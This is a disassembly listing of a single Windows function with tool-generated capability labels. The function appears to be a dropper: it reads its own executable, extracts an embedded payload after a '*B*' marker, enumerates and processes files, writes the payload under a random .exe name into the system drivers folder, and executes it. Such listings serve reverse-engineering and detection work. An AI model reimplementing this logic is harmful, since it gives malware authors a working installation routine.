Function at 0x402fc0
Capabilities:
Create process on windows
Encode data using xor
Enumerate files on windows
Generate random numbers using a mersenne twister
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x178c
call fcn.00403730
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
push 0x4082d0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x403494
push 0x4082d0
call fcn.00402780
add esp, 4
mov word [0x4083d4], 0x422a
lea ecx, [ebp - 0x166c]
mov byte [0x4083d6], 0x2a
mov dword [ebp - 0x16dc], 0x405608
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x16cc]
push eax
lea ecx, [ebp - 0x16dc]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [ebp - 0x16dc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x16dc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x16e0], eax
lea ecx, [ebp - 0x16cc]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [ebp - 0x16cc]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0x1684], 0
mov byte [ebp - 0x168f], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov ecx, dword [0x4087fc]
mov eax, dword [0x4087f8]
push 0x40
push 0x21
mov dword [ebp - 0x1688], ecx
lea ecx, [ebp - 0x16cc]
push 0x4082d0
mov dword [ebp - 0x1680], 0
mov dword [ebp - 0x168c], eax
mov dword [ebp - 0x1694], 0
call fcn.00401de0
test eax, eax
jne 0x4030f4
push eax
mov eax, dword [ebp - 0x16dc]
lea ecx, [ebp - 0x16dc]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [ebp - 0x1680], 0
push ebx
push esi
push edi
je 0x403486
push 2
push 0
push 0
lea ecx, [ebp - 0x16dc]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x16dc]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov ebx, dword [eax + 8]
lea ecx, [ebp - 0x16dc]
add ebx, dword [eax]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
push ebx
call fcn.0040370e
mov ecx, eax
add esp, 4
mov dword [0x4082c8], ecx
test ecx, ecx
je 0x403486
mov eax, ebx
cdq
push edx
push eax
push ecx
lea ecx, [ebp - 0x16dc]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
cmp dword [ebp - 0x1680], 0
lea ecx, [ebp - 0x16cc]
je 0x403221
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const]
lea ecx, [ebp - 0x1690]
cmp eax, ecx
jne 0x4031a8
push dword [ebp - 0x1678]
mov eax, dword [ebp - 0x167c]
lea ecx, [ebp - 0x16cc]
push eax
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char___char___char__]
lea ecx, [ebp - 0x16cc]
call fcn.00401710
push dword [ebp - 0x1680]
xor ecx, ecx
lea esi, [ebp - 0x16cc]
test al, al
cmove esi, ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [ebp - 0x1684], 0
xor edi, edi
mov byte [ebp - 0x168f], 0
test eax, eax
lea ecx, [ebp - 0x16cc]
cmove edi, esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4087f8]
mov ecx, dword [0x4087fc]
mov dword [ebp - 0x1680], 0
mov dword [ebp - 0x168c], eax
mov dword [ebp - 0x1688], ecx
mov dword [ebp - 0x1694], 0
test edi, edi
jne 0x403279
jmp 0x403260
mov byte [ebp - 0x1684], 0
mov byte [ebp - 0x168f], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4087f8]
mov ecx, dword [0x4087fc]
mov dword [ebp - 0x1680], 0
mov dword [ebp - 0x168c], eax
mov dword [ebp - 0x1688], ecx
mov dword [ebp - 0x1694], 0
mov eax, dword [ebp - 0x16dc]
lea ecx, [ebp - 0x16dc]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [0x4087f0], 0
test ebx, ebx
jle 0x4032c9
mov edi, dword [0x4082c8]
xor eax, eax
xor edx, edx
xor esi, esi
xor ecx, ecx
cmp byte [ecx + edi], 0x2a
jne 0x4032ad
cmp byte [ecx + edi + 1], 0x42
mov eax, edx
jne 0x4032ad
cmp byte [ecx + edi + 2], 0x2a
mov eax, esi
je 0x4032bf
inc eax
mov ecx, eax
mov dword [0x4087f0], eax
mov edx, eax
mov esi, eax
cmp ecx, ebx
jl 0x403295
jmp 0x4032c9
lea eax, [edi + 3]
add eax, ecx
mov dword [0x4082cc], eax
lea eax, [ebp - 0x290]
push eax
push 0x40531c
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403486
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop dword [eax]
push dword [0x4082c8]
lea eax, [ebp - 0x264]
push eax
call fcn.00401bf0
add esp, 8
lea eax, [ebp - 0x290]
push eax
push esi
call edi
test eax, eax
jne 0x4032f0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [ebp - 0x294], 0xffffffff
mov edx, 1
mov dword [ebp - 0x1614], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [ebp + edx*4 - 0x1614], eax
inc edx
cmp edx, 0x270
jb 0x403334
lea eax, [ebp - 0x1618]
mov dword [ebp - 0x1618], 0x270
lea ecx, [ebp - 0x1620]
mov dword [ebp - 0x1620], eax
call fcn.004017e0
mov ecx, 0x8000
mul ecx
lea eax, [ebp - 7]
test edx, edx
jns 0x403395
neg edx
push edx
push eax
call fcn.00401150
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x40339f
push edx
push eax
call fcn.00401150
add esp, 8
lea ecx, [ebp - 0x1619]
push ecx
lea ecx, [ebp - 7]
push ecx
push eax
lea ecx, [ebp - 0x150]
call fcn.00401010
push 4
push str..exe
lea ecx, [ebp - 0x150]
call fcn.004019d0
mov dword [ebp - 0x128], 0
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x124], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x138], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x128], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.004013b0
push 0x103
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x4034a7
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x40346b
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403461
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403461
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403700
add esp, 8
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
lea ecx, [ebp - 0x16dc]
call fcn.00401450
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
xor ecx, ebp
call fcn.00403717
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x120]
push str.drivers
push eax
call esi
cmp dword [ebp - 0x124], 0xf
lea eax, [ebp - 0x138]
cmova eax, dword [ebp - 0x138]
push eax
lea eax, [ebp - 0x120]
push eax
call esi
cmp dword [0x4082cc], 0
je 0x403628
lea ecx, [ebp - 0x1724]
mov dword [ebp - 0x178c], 0x405618
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x1788]
push eax
lea ecx, [ebp - 0x178c]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [ebp - 0x178c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x178c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x1790], eax
lea ecx, [ebp - 0x1788]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [ebp - 0x1788]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0x1740], 0
mov byte [ebp - 0x174b], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4087f8]
mov ecx, dword [0x4087fc]
push 0x40
mov dword [ebp - 0x1748], eax
lea eax, [ebp - 0x120]
push 0x22
mov dword [ebp - 0x1744], ecx
lea ecx, [ebp - 0x1788]
push eax
mov dword [ebp - 0x173c], 0
mov dword [ebp - 0x1750], 0
call fcn.00401de0
test eax, eax
jne 0x4035c7
push eax
mov eax, dword [ebp - 0x178c]
lea ecx, [ebp - 0x178c]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [ebp - 0x173c], 0
lea ecx, [ebp - 0x178c]
jne 0x4035e0
call fcn.00401510
jmp 0x40342f
sub ebx, dword [0x4087f0]
lea eax, [ebx + 3]
cdq
push edx
push eax
push dword [0x4082cc]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x178c]
call fcn.00401bc0
push 5
push 0
push 0
lea eax, [ebp - 0x120]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x178c]
call fcn.00401510
call fcn.00402190
int3